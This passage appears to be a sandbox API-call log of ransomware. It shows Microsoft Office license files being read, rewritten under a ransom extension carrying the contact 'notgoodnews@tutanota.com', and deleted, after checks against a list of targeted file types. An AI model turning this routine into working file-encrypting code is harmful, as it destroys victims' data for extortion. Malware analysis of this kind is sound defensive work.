[0189.531] SetEndOfFile (hFile=0x514) returned 1 [0189.531] CloseHandle (hObject=0x514) returned 1 [0189.531] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.531] SetEndOfFile (hFile=0x4f4) returned 1 [0189.534] CloseHandle (hObject=0x4f4) returned 1 [0189.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1 [0189.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.535] lstrlenW (lpString=".doc") returned 4 [0189.536] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".docx") returned 5 [0189.536] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.536] lstrlenW (lpString=".pdf") returned 4 [0189.536] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".xls") returned 4 [0189.536] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".xlsx") returned 5 [0189.536] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.536] lstrlenW (lpString=".ppt") returned 4 [0189.536] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString=".zip") returned 4 [0189.536] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".rar") returned 4 [0189.536] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".bz2") returned 4 [0189.536] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".7z") returned 3 [0189.536] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString=".dbf") returned 4 [0189.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString=".1cd") returned 4 [0189.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString=".jpg") returned 4 [0189.536] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.536] lstrlenW (lpString=".doc") returned 4 [0189.536] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.536] lstrlenW (lpString=".docx") returned 5 [0189.536] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.536] lstrlenW (lpString=".pdf") returned 4 [0189.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString=".xls") returned 4 [0189.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString=".xlsx") returned 5 [0189.537] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.537] lstrlenW (lpString=".ppt") returned 4 [0189.537] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.537] lstrlenW (lpString=".zip") returned 4 [0189.537] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString=".rar") returned 4 [0189.537] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString=".bz2") returned 4 [0189.537] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString=".7z") returned 3 [0189.537] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.537] lstrlenW (lpString=".dbf") returned 4 [0189.537] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.537] lstrlenW (lpString=".1cd") returned 4 [0189.537] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0189.537] lstrlenW (lpString=".jpg") returned 4 [0189.537] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.537] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.537] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24 [0189.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.539] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11147) returned 1 [0189.539] CloseHandle (hObject=0x4f4) returned 1 [0189.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0189.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.539] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.539] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.540] GetLastError () returned 0x0 [0189.540] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0189.542] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0189.543] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.543] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x104, lpOverlapped=0x0) returned 1 [0189.543] SetEndOfFile (hFile=0x514) returned 1 [0189.544] CloseHandle (hObject=0x514) returned 1 [0189.544] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.544] SetEndOfFile (hFile=0x4f4) returned 1 [0189.546] CloseHandle (hObject=0x4f4) returned 1 [0189.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1 [0189.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.548] lstrlenW (lpString=".doc") returned 4 [0189.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.548] lstrlenW (lpString=".docx") returned 5 [0189.548] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.548] lstrlenW (lpString=".pdf") returned 4 [0189.548] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.548] lstrlenW (lpString=".xls") returned 4 [0189.548] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.548] lstrlenW (lpString=".xlsx") returned 5 [0189.548] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.548] lstrlenW (lpString=".ppt") returned 4 [0189.548] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString=".zip") returned 4 [0189.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString=".rar") returned 4 [0189.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString=".bz2") returned 4 [0189.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString=".7z") returned 3 [0189.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString=".dbf") returned 4 [0189.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString=".1cd") returned 4 [0189.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString=".jpg") returned 4 [0189.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.549] lstrlenW (lpString=".doc") returned 4 [0189.549] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.549] lstrlenW (lpString=".docx") returned 5 [0189.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.550] lstrlenW (lpString=".pdf") returned 4 [0189.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString=".xls") returned 4 [0189.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString=".xlsx") returned 5 [0189.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.550] lstrlenW (lpString=".ppt") returned 4 [0189.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.550] lstrlenW (lpString=".zip") returned 4 [0189.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString=".rar") returned 4 [0189.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString=".bz2") returned 4 [0189.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString=".7z") returned 3 [0189.550] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.550] lstrlenW (lpString=".dbf") returned 4 [0189.550] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.550] lstrlenW (lpString=".1cd") returned 4 [0189.550] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0189.551] lstrlenW (lpString=".jpg") returned 4 [0189.551] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.551] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.551] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25 [0189.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.552] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=26524) returned 1 [0189.552] CloseHandle (hObject=0x4f4) returned 1 [0189.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0189.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.552] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.553] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.554] GetLastError () returned 0x0 [0189.554] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x679c, lpOverlapped=0x0) returned 1 [0189.557] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0189.558] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.558] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x106, lpOverlapped=0x0) returned 1 [0189.558] SetEndOfFile (hFile=0x514) returned 1 [0189.558] CloseHandle (hObject=0x514) returned 1 [0189.559] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.559] SetEndOfFile (hFile=0x4f4) returned 1 [0189.562] CloseHandle (hObject=0x4f4) returned 1 [0189.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1 [0189.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.564] lstrlenW (lpString=".doc") returned 4 [0189.564] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".docx") returned 5 [0189.564] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.564] lstrlenW (lpString=".pdf") returned 4 [0189.564] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".xls") returned 4 [0189.564] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".xlsx") returned 5 [0189.564] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.564] lstrlenW (lpString=".ppt") returned 4 [0189.564] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.564] lstrlenW (lpString=".zip") returned 4 [0189.564] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".rar") returned 4 [0189.564] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".bz2") returned 4 [0189.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString=".7z") returned 3 [0189.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.564] lstrlenW (lpString=".dbf") returned 4 [0189.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.565] lstrlenW (lpString=".1cd") returned 4 [0189.565] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.565] lstrlenW (lpString=".jpg") returned 4 [0189.565] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.565] lstrlenW (lpString=".doc") returned 4 [0189.565] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.565] lstrlenW (lpString=".docx") returned 5 [0189.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.763] lstrlenW (lpString=".pdf") returned 4 [0189.763] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.763] lstrlenW (lpString=".xls") returned 4 [0189.764] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString=".xlsx") returned 5 [0189.764] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.764] lstrlenW (lpString=".ppt") returned 4 [0189.764] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.764] lstrlenW (lpString=".zip") returned 4 [0189.764] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString=".rar") returned 4 [0189.764] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString=".bz2") returned 4 [0189.764] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString=".7z") returned 3 [0189.764] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.764] lstrlenW (lpString=".dbf") returned 4 [0189.764] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.764] lstrlenW (lpString=".1cd") returned 4 [0189.764] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0189.764] lstrlenW (lpString=".jpg") returned 4 [0189.764] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.764] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.765] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25 [0189.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0189.993] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11151) returned 1 [0189.993] CloseHandle (hObject=0x518) returned 1 [0189.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0190.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.494] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.494] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.495] GetLastError () returned 0x0 [0190.495] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0190.496] WriteFile (in: hFile=0x2c8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0190.498] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.498] WriteFile (in: hFile=0x2c8, 